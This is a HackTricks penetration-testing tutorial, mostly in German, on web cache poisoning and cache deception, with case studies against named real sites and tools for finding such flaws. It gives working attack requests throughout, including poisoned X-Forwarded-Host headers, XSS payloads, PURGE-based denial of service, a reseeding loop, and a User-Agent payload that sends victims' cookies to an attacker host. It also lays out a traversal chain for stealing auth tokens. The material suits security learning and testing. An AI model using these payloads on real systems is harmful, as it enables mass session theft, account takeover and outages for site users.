Cache Poisoning and Cache Deception
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Der Unterschied
Was ist der Unterschied zwischen web cache poisoning und web cache deception?
- In web cache poisoning veranlasst der Angreifer, dass die Anwendung bösartigen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
- In web cache deception veranlasst der Angreifer, dass die Anwendung sensiblen Inhalt eines anderen Benutzers im Cache speichert, und der Angreifer ruft diesen Inhalt anschließend aus dem Cache ab.
Cache Poisoning
Cache poisoning zielt darauf ab, den clientseitigen Cache so zu manipulieren, dass Clients Ressourcen laden müssen, die unerwartet, unvollständig oder unter Kontrolle eines Angreifers sind. Das Ausmaß der Auswirkungen hängt von der Beliebtheit der betroffenen Seite ab, da die verunreinigte Antwort ausschließlich den Nutzern serviert wird, die die Seite während der Dauer der Cache-Kontamination besuchen.
Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:
- Identifikation von Unkeyed Inputs: Dabei handelt es sich um Parameter, die zwar nicht erforderlich sind, damit eine Anfrage gecached wird, aber die Antwort des Servers verändern können. Das Erkennen dieser Inputs ist wichtig, da sie ausgenutzt werden können, um den Cache zu manipulieren.
- Ausnutzung der Unkeyed Inputs: Nachdem die Unkeyed Inputs identifiziert wurden, besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers zugunsten des Angreifers zu verändern.
- Sicherstellen, dass die poisoned response gecached wird: Der letzte Schritt ist sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. So erhält jeder Nutzer, der die betroffene Seite während der Cache-Kontamination besucht, die verunreinigte Antwort.
Erkennung: HTTP-Header prüfen
Normalerweise, wenn eine Antwort im Cache gespeichert wurde, gibt es einen Header, der das anzeigt. Du kannst nachsehen, welche Header du beachten solltest in diesem Beitrag: HTTP Cache headers.
Erkennung: Caching von Fehlercodes
Wenn du denkst, dass die Antwort in einem Cache gespeichert wird, könntest du versuchen, Anfragen mit einem fehlerhaften Header zu senden, die mit einem Statuscode 400 beantwortet werden sollten. Versuche dann, die Anfrage normal aufzurufen — wenn die Antwort ein 400er-Statuscode ist, weißt du, dass es verwundbar ist (und du könntest sogar einen DoS durchführen).
Du findest weitere Optionen in:
Beachte jedoch, dass manchmal diese Arten von Statuscodes nicht gecached werden, sodass dieser Test nicht zuverlässig sein könnte.
Erkennung: Unkeyed Inputs identifizieren und bewerten
Du kannst Param Miner verwenden, um brute-force parameters and headers durchzuführen, die möglicherweise die Antwort der Seite verändern. Zum Beispiel könnte eine Seite den Header X-Forwarded-For verwenden, um dem Client anzuzeigen, das Script von dort zu laden:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Einen schädlichen Response vom Back-End-Server hervorrufen
Wenn der Parameter/Header identifiziert ist, prüfe, wie er bereinigt wird und wo er reflektiert wird oder die Antwort über den Header beeinflusst. Kannst du ihn trotzdem missbrauchen (eine XSS ausführen oder von dir kontrollierten JS-Code laden? einen DoS durchführen?…)
Die Antwort im Cache ablegen
Sobald du die Seite identifiziert hast, die missbraucht werden kann, welchen Parameter/Header du verwenden musst und wie du ihn missbrauchen kannst, musst du die Seite in den Cache bringen. Je nach Resource, die du im Cache platzieren willst, kann das einige Zeit dauern — du musst es möglicherweise mehrere Sekunden lang versuchen.
Der Header X-Cache in der Antwort kann sehr nützlich sein, da er den Wert miss haben kann, wenn die Anfrage nicht gecached wurde, und den Wert hit, wenn sie gecached ist.
Der Header Cache-Control ist ebenfalls interessant, um zu wissen, ob eine Resource gecached wird und wann sie das nächste Mal erneut gecached wird: Cache-Control: public, max-age=1800
Ein weiterer interessanter Header ist Vary. Dieser Header wird oft verwendet, um zusätzliche Header anzuzeigen, die als Teil des Cache-Keys behandelt werden, selbst wenn sie normalerweise nicht keyed sind. Daher kann, wenn der Angreifer den User-Agent des victims kennt, er den Cache für Nutzer mit genau diesem User-Agent vergiften.
Ein weiterer Header im Zusammenhang mit dem Cache ist Age. Er gibt die Zeit in Sekunden an, die das Objekt im Proxy-Cache war.
Beim Cachen einer Anfrage sei vorsichtig mit den Headern, die du verwendest, da einige davon unerwartet als keyed verwendet werden könnten und das victim denselben Header verwenden muss. Teste eine Cache Poisoning immer mit verschiedenen Browsern, um zu prüfen, ob sie funktioniert.
Foundational cache poisoning case studies
HackerOne global redirect via X-Forwarded-Host
- Der Origin erzeugte templated Redirects und kanonische URLs mit
X-Forwarded-Host, aber der Cache-Key verwendete nur denHostHeader, sodass eine einzige Antwort jeden Besucher von/vergiftete. - Vergiften mit:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Fordere sofort
/erneut an, ohne den gefälschten Header; wenn die Weiterleitung bestehen bleibt, hast du eine globale Host-Spoofing-Primitive, die reflektierte Redirects/Open Graph-Links häufig in persistente Probleme verwandelt.
GitHub repository DoS über Content-Type + PURGE
- Anonymer Datenverkehr wurde nur anhand des Pfads unterschieden, während das Backend in einen Fehlerzustand geriet, als es einen unerwarteten
Content-Typesah. Diese Fehlerantwort konnte für jeden nicht authentifizierten Benutzer eines Repos zwischengespeichert werden. - GitHub hat außerdem (versehentlich) das
PURGE-Verb respektiert, was einem Angreifer erlaubte, einen gesunden Eintrag zu löschen und die Caches zu zwingen, die vergiftete Variante bei Bedarf zu laden:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Vergleiche stets authenticated vs anonymous cache keys, fuzz selten als Key verwendete Header wie
Content-Type, und prüfe auf exponierte cache-maintenance verbs, um re-poisoning zu automatisieren.
Shopify cross-host persistence loops
- Multi-layer Caches verlangen manchmal mehrere identische Hits, bevor ein neues Objekt übernommen wird. Shopify nutzte denselben Cache über zahlreiche lokalisierte Hosts hinweg, sodass die Persistenz Auswirkungen auf viele Properties hatte.
- Verwende kurze Automatisierungsschleifen, um wiederholt zu reseeden:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Nach einer
hit-Antwort crawle andere Hosts/Assets, die denselben Cache-Namespace teilen, um den cross-domain blast radius zu demonstrieren.
JS asset redirect → stored XSS chain
- Private Programme hosten häufig geteiltes JS wie
/assets/main.jsauf Dutzenden von Subdomains. WennX-Forwarded-Hostdie Redirect-Logik für diese Assets beeinflusst, aber nicht im Cache-Key berücksichtigt wird, wird die gecachte Antwort zu einem 301 auf Angreifer-JS, was überall dort, wo das Asset importiert wird, zu stored XSS führt.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Kartiere, welche Hosts denselben Asset-Pfad wiederverwenden, damit du eine Kompromittierung mehrerer Subdomains nachweisen kannst.
GitLab statischer DoS über X-HTTP-Method-Override
- GitLab lieferte statische Bundles aus Google Cloud Storage aus, das
X-HTTP-Method-Overriderespektiert. Durch Überschreiben von GET zu HEAD wurde ein cachebares200 OKmitContent-Length: 0zurückgegeben, und der Edge-Cache ignorierte die HTTP-Methode bei der Erzeugung des Cache-Schlüssels.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Eine einzelne Anfrage ersetzte das JS-Bundle bei jedem GET durch einen leeren Body und führte damit effektiv zu einem DoSing der UI. Teste immer method overrides (
X-HTTP-Method-Override,X-Method-Override, etc.) gegen static assets und bestätige, ob der Cache je nach Methode variiert.
HackerOne statische Asset-Schleife über X-Forwarded-Scheme
- Rails’ Rack middleware vertraute
X-Forwarded-Scheme, um zu entscheiden, ob HTTPS erzwungen werden soll. Spoofinghttpgegen/static/logo.pnglöste eine cacheable 301 aus, sodass alle Nutzer anschließend Weiterleitungen (oder Schleifen) statt des Assets erhielten:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Kombiniere scheme spoofing mit host spoofing, wenn möglich, um irreversible redirects für stark sichtbare Ressourcen zu erzeugen.
Cloudflare host-header casing mismatch
- Cloudflare normalisierte den
Hostheader für cache keys, leitete aber die rohe Groß-/Kleinschreibung an origins weiter. Das Senden vonHost: TaRgEt.CoMlöste alternatives Verhalten in origin routing/templating aus, während gleichzeitig der kanonische lowercase cache bucket befüllt wurde.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Enumeriere CDN tenants, indem du mixed-case hosts (und andere normalized headers) erneut sendest und die cached response mit der origin response vergleichst, um shared-platform cache poisonings aufzudecken.
Red Hat Open Graph meta poisoning
- Das Injizieren von
X-Forwarded-Hostin Open Graph tags verwandelte eine reflected HTML injection in ein stored XSS, sobald das CDN die Seite cached. Verwende während des Testens einen harmless cache buster, um production users nicht zu beeinträchtigen:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Social-Media-Scraper konsumieren zwischengespeicherte Open Graph tags, sodass ein einzelner vergifteter Eintrag die Nutzlast weit über direkte Besucher hinaus verteilt.
Beispiele zur Ausnutzung
Einfachstes Beispiel
Ein Header wie X-Forwarded-For wird ungefiltert in die Antwort reflektiert.
Du kannst eine einfache XSS-Payload senden und den Cache vergiften, sodass jeder, der die Seite aufruft, XSSed wird:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Beachte, dass dies eine Anfrage an /en?region=uk poisonen wird, nicht an /en
Cache poisoning for DoS
Cache poisoning durch CDNs
In this writeup wird folgendes einfaches Szenario erklärt:
- Das CDN wird alles unter
/share/cachen - Das CDN wird
%2F..%2FNICHT dekodieren oder normalisieren, daher kann es als path traversal to access other sensitive locations that will be cached verwendet werden, wiehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Der Webserver WILL
%2F..%2Fdekodieren und normalisieren und wird mit/api/auth/sessionantworten, welches den auth token enthält.
Verwendung von web cache poisoning zur Ausnutzung von cookie-handling vulnerabilities
Cookies können auch in der Antwort einer Seite reflektiert werden. Wenn du dies z. B. ausnutzen kannst, um eine XSS zu verursachen, könntest du XSS in mehreren Clients auslösen, die die bösartige Cache-Antwort laden.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Beachte, dass wenn das vulnerable cookie sehr häufig von den Nutzern verwendet wird, reguläre Requests den Cache leeren werden.
Erzeugen von Diskrepanzen mit Delimitern, Normalisierung und Punkten
Siehe:
Cache Poisoning via URL discrepancies
Cache poisoning mit path traversal, um einen API key zu stehlen
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
Das wird auch besser erklärt in:
Cache Poisoning via URL discrepancies
Mehrere Header verwenden, um web cache poisoning vulnerabilities auszunutzen
Manchmal musst du exploit several unkeyed inputs, um einen Cache ausnutzen zu können. Zum Beispiel könntest du eine Open redirect finden, wenn du X-Forwarded-Host auf eine von dir kontrollierte Domain setzt und X-Forwarded-Scheme auf http. Wenn der server alle HTTP requests to HTTPS weiterleitet und den Header X-Forwarded-Scheme als Domainnamen für den Redirect verwendet, kannst du steuern, wohin die Seite durch den Redirect zeigt.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Ausnutzen bei eingeschränktem Varyheader
Wenn du feststellst, dass der X-Host Header als Domainname zum Laden einer JS-Ressource verwendet wird, der Vary Header in der Antwort jedoch User-Agent angibt, musst du einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu poisonen:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Sende eine GET request, bei der die request sowohl in der URL als auch im body enthalten ist. Wenn der web server den aus dem body verwendet, aber der cache server den aus der URL caches, wird jeder, der diese URL aufruft, tatsächlich den parameter aus dem body verwenden. Wie die vuln, die James Kettle auf der Github website gefunden hat:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Dazu gibt es ein PortSwigger-Lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Zum Beispiel ist es möglich, parameters in ruby-Servern mit dem Zeichen ; anstelle von & zu trennen. Dies kann genutzt werden, um unkeyed parameters values in keyed ones einzuschleusen und auszunutzen.
Portswigger-Lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Hier erfährst du, wie man Cache Poisoning attacks by abusing HTTP Request Smuggling durchführt.
Automated testing for Web Cache Poisoning
Der Web Cache Vulnerability Scanner kann verwendet werden, um automatisch auf Web Cache Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Dieses reale Muster verknüpft eine header-basierte reflection primitive mit CDN/WAF-Verhalten, um zuverlässig das gecachte HTML, das an andere Nutzer ausgeliefert wird, zu beeinflussen:
- Das Haupt-HTML reflektierte einen untrusted request header (z. B.
User-Agent) in einen ausführbaren Kontext. - Das CDN entfernte cache headers, aber ein interner/origin Cache existierte. Das CDN cached außerdem automatisch Requests, die auf statische Erweiterungen enden (z. B.
.js), während der WAF bei GETs für statische Assets eine schwächere Inhaltsprüfung anwandte. - Eigenheiten im Request-Flow erlaubten es, dass eine Anfrage an einen
.js-Pfad den cache key/variant beeinflusste, der für das anschließende Haupt-HTML verwendet wurde, wodurch cross-user XSS via header reflection möglich wurde.
Praktisches Vorgehen (beobachtet bei einem populären CDN/WAF):
- Von einer sauberen IP (Reputation-basierte Downgrades vermeiden), setze einen bösartigen
User-Agentüber den Browser oder Burp Proxy Match & Replace. - Im Burp Repeater bereite eine Gruppe von zwei Requests vor und nutze “Send group in parallel” (Single-Packet-Modus funktioniert am besten):
- Erste Anfrage: Eine GET-Anfrage an einen
.js-Ressourcenpfad auf derselben Origin senden und dabei deinen bösartigenUser-Agentmitschicken. - Unmittelbar danach: GET die Hauptseite (
/).
- Das Race im CDN/WAF-Routing plus das automatisch gecachte
.jssorgt oft dafür, dass eine poisoned gecachte HTML-Variante erzeugt wird, die dann an andere Besucher mit denselben Cache-Key-Bedingungen ausgeliefert wird (z. B. gleicheVary-Dimensionen wieUser-Agent).
Beispiel-Header-Payload (um non-HttpOnly cookies zu exfiltrieren):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Betriebliche Hinweise:
- Viele CDNs verbergen Cache-Header; Poisoning kann erst nach mehrstündigen Refresh-Zyklen sichtbar werden. Verwende mehrere vantage IPs und drossele Anfragen, um Rate-Limits oder Reputations-Trigger zu vermeiden.
- Die Verwendung einer IP aus der Cloud des CDN verbessert manchmal die Routing-Konsistenz.
- Wenn eine strikte CSP vorhanden ist, funktioniert das weiterhin, sofern die reflection im Haupt-HTML-Kontext ausgeführt wird und CSP inline-Ausführung erlaubt oder kontextabhängig umgangen wird.
Auswirkungen:
- Wenn Session-Cookies nicht
HttpOnlysind, ist ein Zero-Click ATO möglich, indemdocument.cookiemassenhaft von allen Nutzern exfiltriert wird, die das poisoned HTML erhalten.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Ein Sitecore-spezifisches Muster ermöglicht nicht authentifizierte Schreibvorgänge in den HtmlCache, indem pre‑auth XAML-Handler und AjaxScriptManager reflection missbraucht werden. Wenn der Sitecore.Shell.Xaml.WebControl handler erreicht wird, ist ein xmlcontrol:GlobalHeader (abgeleitet von Sitecore.Web.UI.WebControl) verfügbar und folgender reflective call ist erlaubt:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Dies schreibt beliebiges HTML unter einen vom Angreifer gewählten cache key und ermöglicht präzises cache poisoning, sobald cache keys bekannt sind.
Für vollständige Details (cache key construction, ItemService enumeration und eine verkettete post‑auth deserialization RCE):
Verwundbare Beispiele
Apache Traffic Server (CVE-2021-27577)
ATS leitete das Fragment in der URL weiter, ohne es zu entfernen, und erzeugte den cache key nur anhand von host, path und query (ignorierte das Fragment). Daher wurde die Anfrage /#/../?r=javascript:alert(1) an das Backend als /#/../?r=javascript:alert(1) gesendet und der cache key enthielt nicht die Nutzlast, sondern nur host, path und query.
403 und Storage Buckets
Cloudflare cached früher 403-Antworten. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Authorization-Headern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Auch wenn Cloudflare das Caching von 403-Antworten eingestellt hat, kann dieses Verhalten in anderen Proxy-Diensten weiterhin vorhanden sein.
Injizieren von Parametern, die in den Cache-Key eingehen
Caches schließen oft bestimmte GET-Parameter in den cache key ein. Zum Beispiel hat Fastly’s Varnish den size-Parameter in Requests gecached. Wenn jedoch eine URL-codierte Version des Parameters (z. B. siz%65) mit einem fehlerhaften Wert gesendet wurde, wurde der cache key mit dem korrekten size-Parameter konstruiert. Das Backend verarbeitete jedoch den Wert aus dem URL-codierten Parameter. Die URL-Codierung des zweiten size-Parameters führte dazu, dass der Cache ihn ignorierte, das Backend ihn aber nutzte. Das Setzen dieses Parameters auf den Wert 0 führte zu einem cachebaren 400 Bad Request-Fehler.
User-Agent-Regeln
Einige Entwickler blockieren Requests mit User-Agents, die denen von stark genutzten Tools wie FFUF oder Nuclei entsprechen, um Serverlast zu reduzieren. Ironischerweise kann dieser Ansatz Schwachstellen wie cache poisoning und DoS einführen.
Illegale Header-Felder
Die RFC7230 legt die erlaubten Zeichen in Header-Namen fest. Header, die Zeichen außerhalb des spezifizierten tchar-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler cached, sofern der cache-control-Header nicht vorhanden ist. Es wurde ein ausnutzbares Muster identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie \, zu einem cachebaren 400 Bad Request-Fehler führte.
Neue Header finden
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Das Ziel von Cache Deception ist, Clients dazu zu bringen, Ressourcen zu laden, die vom Cache mit ihren sensiblen Informationen gespeichert werden.
Beachte zunächst, dass Erweiterungen wie .css, .js, .png usw. normalerweise so konfiguriert sind, dass sie im Cache gespeichert werden. Wenn du also www.example.com/profile.php/nonexistent.js aufrufst, wird der Cache wahrscheinlich die Antwort speichern, weil er die .js Erweiterung erkennt. Wenn jedoch die Anwendung mit den sensiblen Benutzerdaten von www.example.com/profile.php antwortet, kannst du diese Inhalte von anderen Benutzern stealen.
Andere Dinge zum Testen:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Verwende weniger bekannte Erweiterungen wie
.avif
Ein weiteres sehr klares Beispiel findet sich in diesem Write-up: https://hackerone.com/reports/593712.
In dem Beispiel wird erklärt, dass, wenn du eine nicht existierende Seite wie http://www.example.com/home.php/non-existent.css lädst, der Inhalt von http://www.example.com/home.php (mit den sensiblen Informationen des Benutzers) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.
Dann kann der Angreifer http://www.example.com/home.php/non-existent.css in seinem eigenen Browser aufrufen und die vertraulichen Informationen der zuvor zugreifenden Benutzer einsehen.
Beachte, dass der Cache-Proxy so konfiguriert sein sollte, Dateien basierend auf der Erweiterung der Datei (.css) zu cachen und nicht basierend auf dem content-type. In dem Beispiel wird http://www.example.com/home.php/non-existent.css einen text/html Content-Type statt text/css MIME-Type haben.
Hier erfährst du, wie man Cache Deceptions attacks abusing HTTP Request Smuggling durchführt.
CSPT-assisted authenticated cache poisoning (Account Takeover)
This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
Kernidee:
- Ein sensitiver API-Endpunkt verlangt einen custom auth header und ist beim Origin korrekt als non-cacheable markiert.
- Das Anhängen einer statisch wirkenden Endung (z. B. .css) lässt das CDN den Pfad als statisches Asset behandeln und die Antwort cachen, häufig ohne auf sensitive Header zu variieren.
- Die SPA enthält CSPT: Sie hängt ein vom Benutzer kontrolliertes Pfadsegment an die API-URL an, während sie den Auth-Header des Opfers (z. B. X-Auth-Token) mitsendet. Durch Injizieren von ../.. Traversal wird der authentifizierte Fetch auf die cachebare Pfadvariante (…/v1/token.css) umgeleitet, wodurch das CDN das Token-JSON des Opfers unter einem öffentlichen Key cached.
- Jeder kann dann denselben cache key ohne Authentifizierung per GET abrufen und das Token des Opfers auslesen.
Beispiel
- Sensitiver Endpunkt (am Origin non-cacheable):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Statisch wirkendes Suffix schaltet CDN auf cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT in SPA fügt auth header hinzu und erlaubt traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Angriffskette:
- Locke das Opfer auf eine URL, die Dot-Segmente in den SPA-Pfadparameter injiziert, z. B.:
- Die SPA sendet einen authentifizierten fetch an:
- Die Browser-Normalisierung löst dies auf zu:
- Das CDN behandelt .css als statisches Asset und speichert das JSON mit Cache-Control: public, max-age=… im Cache.
- Öffentlicher Abruf: jeder kann dann GET https://api.example.com/v1/token.css ausführen und das zwischengespeicherte Token-JSON erhalten.
Voraussetzungen
- Die SPA führt authentifizierte fetch/XHR-Anfragen an die gleiche API-Origin aus (oder cross-origin bei funktionierendem CORS) und hängt sensitive Header oder Bearer-Tokens an.
- Edge/CDN wendet auf Dateiendungen basierendes Caching für statisch wirkende Pfade an (z. B. *.css, *.js, Bilder) und variiert den Cache-Schlüssel nicht anhand des sensitiven Headers.
- Der Origin-Endpunkt ohne Endung ist nicht-cachebar (korrekt), aber die Variante mit Dateiendung wird erlaubt oder von Edge-Regeln nicht blockiert.
Validierungs-Checkliste
- Identifiziere sensitive dynamische Endpunkte und teste Suffixe wie .css, .js, .jpg, .json. Achte auf Cache-Control: public/max-age und X-Cache: Hit (oder Äquivalent, z. B. CF-Cache-Status), während der Inhalt JSON bleibt.
- Finde Client-Code, der benutzereingesteuerte Eingaben in API-Pfade konkatenieren lässt, während Auth-Header angehängt werden. Injiziere ../-Sequenzen, um die authentifizierte Anfrage auf dein Ziel-Endpoint umzuleiten.
- Bestätige, dass der authentifizierte Header in der umgeleiteten Anfrage vorhanden ist (z. B. im Proxy oder in Server-Logs) und dass das CDN die Antwort unter dem durchlaufenen Pfad im Cache speichert.
- Rufe aus einem frischen Kontext (ohne Auth) denselben Pfad ab und bestätige, dass das geheime JSON aus dem Cache ausgeliefert wird.
Automatic Tools
- toxicache: Golang-Scanner, um web cache poisoning Vulnerabilities in einer Liste von URLs zu finden und mehrere Injection-Techniken zu testen.
- CacheDecepHound: Python-Scanner, entwickelt um Cache Deception Vulnerabilities in Webservern zu erkennen.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


